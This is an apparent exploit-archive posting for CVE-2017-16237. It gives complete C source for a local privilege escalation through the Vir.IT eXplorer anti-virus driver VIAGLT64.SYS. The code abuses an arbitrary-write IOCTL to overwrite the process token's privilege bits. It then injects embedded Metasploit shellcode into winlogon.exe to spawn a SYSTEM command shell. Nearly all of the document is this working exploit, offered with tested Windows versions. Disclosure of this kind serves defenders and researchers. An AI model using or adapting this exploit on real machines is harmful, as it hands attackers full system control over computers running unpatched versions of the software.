Vir.IT eXplorer Anti-Virus Privilege Escalation

Vir.IT eXplorer Anti-Virus suffers from a privilege escalation vulnerability.


MD5 | ff30fb040fe89ba20d52d211ff216ade

/*

Exploit Title - Vir.IT eXplorer Anti-Virus Arbitrary Write Privilege Escalation
Date - 1st November 2017
Discovered by - Parvez Anwar (@parvezghh)
Vendor Homepage - http://www.tgsoft.it
Tested Version - 8.5.39
Driver Version - 1.0.0.11 - VIAGLT64.SYS
Tested on OS - 64bit Windows 7 and Windows 10 (1709)
CVE ID - CVE-2017-16237
Vendor fix url - n/a
Fixed Version - 8.5.42
Fixed driver ver - 1.0.0.12


Check blogpost for details:

https://www.greyhathacker.net/?p=990

*/


#include <stdio.h>
#include <windows.h>
#include <TlHelp32.h>

#pragma comment(lib,"advapi32.lib")

#define SystemHandleInformation 16
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xc0000004L)


typedef unsigned __int64 QWORD;


typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
ULONG ProcessId;
UCHAR ObjectTypeNumber;
UCHAR Flags;
USHORT Handle;
QWORD Object;
ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, *PSYSTEM_HANDLE;


typedef struct _SYSTEM_HANDLE_INFORMATION
{
ULONG NumberOfHandles;
SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;


typedef NTSTATUS (WINAPI *_NtQuerySystemInformation)(
ULONG SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength);




DWORD getProcessId(char* process)
{
HANDLE hSnapShot;
PROCESSENTRY32 pe32;
DWORD pid;


hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

if (hSnapShot == INVALID_HANDLE_VALUE)
{
printf("\n[-] Failed to create handle CreateToolhelp32Snapshot()\n\n");
return -1;
}

pe32.dwSize = sizeof(PROCESSENTRY32);

if (Process32First(hSnapShot, &pe32) == FALSE)
{
printf("\n[-] Failed to call Process32First()\n\n");
return -1;
}

do
{
if (stricmp(pe32.szExeFile, process) == 0)
{
pid = pe32.th32ProcessID;
return pid;
}
} while (Process32Next(hSnapShot, &pe32));

CloseHandle(hSnapShot);
return 0;
}


int spawnShell()
{
// windows/x64/exec - 275 bytes http://www.metasploit.com
// VERBOSE=false, PrependMigrate=false, EXITFUNC=thread, CMD=cmd.exe

char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x6d\x64\x2e\x65\x78\x65\x00";

char* process = "winlogon.exe";
DWORD pid;
HANDLE hProcess;
HANDLE hThread;
LPVOID ptrtomem;


pid = getProcessId(process);

if ((hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid)) == NULL)
{
printf("\n[-] Unable to open %s process\n\n", process);
return -1;
}
printf("\n[+] Opened %s process pid=%d with PROCESS_ALL_ACCESS rights", process, pid);

if ((ptrtomem = VirtualAllocEx(hProcess, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE)) == NULL)
{
printf("\n[-] Unable to allocate memory in target process\n\n");
return -1;
}
printf("\n[+] Memory allocated at address 0x%p", ptrtomem);

if (!(WriteProcessMemory(hProcess, (LPVOID)ptrtomem, shellcode, sizeof(shellcode), NULL)))
{
printf("\n[-] Unable to write to process memory\n\n");
return -1;
}
printf("\n[+] Written to allocated process memory");

if ((hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)ptrtomem, NULL, 0, NULL)) == NULL)
{
CloseHandle(hThread);
printf("\n[-] Unable to create remote thread\n\n");
return -1;
}
printf("\n[+] Created remote thread and executed\n\n");

return 0;
}



QWORD TokenAddressCurrentProcess(HANDLE hProcess, DWORD MyProcessID)
{
_NtQuerySystemInformation NtQuerySystemInformation;
PSYSTEM_HANDLE_INFORMATION pSysHandleInfo;
ULONG i;
PSYSTEM_HANDLE pHandle;
QWORD TokenAddress = 0;
DWORD nSize = 4096;
DWORD nReturn;
BOOL tProcess;
HANDLE hToken;


if ((tProcess = OpenProcessToken(hProcess, TOKEN_QUERY, &hToken)) == FALSE)
{
printf("\n[-] OpenProcessToken() failed (%d)\n", GetLastError());
return -1;
}

NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation");

if (!NtQuerySystemInformation)
{
printf("[-] Unable to resolve NtQuerySystemInformation\n\n");
return -1;
}

do
{
nSize += 4096;
pSysHandleInfo = (PSYSTEM_HANDLE_INFORMATION) HeapAlloc(GetProcessHeap(), 0, nSize);
} while (NtQuerySystemInformation(SystemHandleInformation, pSysHandleInfo, nSize, &nReturn) == STATUS_INFO_LENGTH_MISMATCH);

printf("\n[i] Current process id %d and token handle value %u", MyProcessID, hToken);

for (i = 0; i < pSysHandleInfo->NumberOfHandles; i++)
{

if (pSysHandleInfo->Handles[i].ProcessId == MyProcessID && pSysHandleInfo->Handles[i].Handle == hToken)
{
TokenAddress = pSysHandleInfo->Handles[i].Object;
}
}

HeapFree(GetProcessHeap(), 0, pSysHandleInfo);
return TokenAddress;
}



int main(int argc, char *argv[])
{

QWORD TokenAddressTarget;
QWORD SepPrivilegesOffset = 0x40;
QWORD TokenAddress;
HANDLE hDevice;
char devhandle[MAX_PATH];
DWORD dwRetBytes = 0;
QWORD input[3] = {0};


printf("-------------------------------------------------------------------------------\n");
printf(" Vir.IT eXplorer Anti-Virus (VIAGLT64.SYS) Arbitrary Write EoP Exploit \n");
printf(" Tested on 64bit Windows 7 / Windows 10 (1709) \n");
printf("-------------------------------------------------------------------------------\n");

TokenAddress = TokenAddressCurrentProcess(GetCurrentProcess(), GetCurrentProcessId());
printf("\n[i] Address of current process token 0x%p", TokenAddress);

TokenAddressTarget = TokenAddress + SepPrivilegesOffset;
printf("\n[i] Address of _SEP_TOKEN_PRIVILEGES 0x%p will be overwritten", TokenAddressTarget);

input[0] = TokenAddressTarget;
input[1] = 0x0000000602110000;
input[2] = 0x0000000000110000;

sprintf(devhandle, "\\\\.\\%s", "viragtlt");

hDevice = CreateFile(devhandle, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING , 0, NULL);

if(hDevice == INVALID_HANDLE_VALUE)
{
printf("\n[-] Open %s device failed\n\n", devhandle);
return -1;
}
else
{
printf("\n[+] Open %s device successful", devhandle);
}

printf("\n[~] Press any key to continue . . .\n");
getch();

DeviceIoControl(hDevice, 0x8273007C, input, sizeof(input), NULL, 0, &dwRetBytes, NULL);

printf("[+] Overwritten _SEP_TOKEN_PRIVILEGES bits\n");
CloseHandle(hDevice);

printf("[*] Spawning SYSTEM Shell");
spawnShell();

return 0;
}





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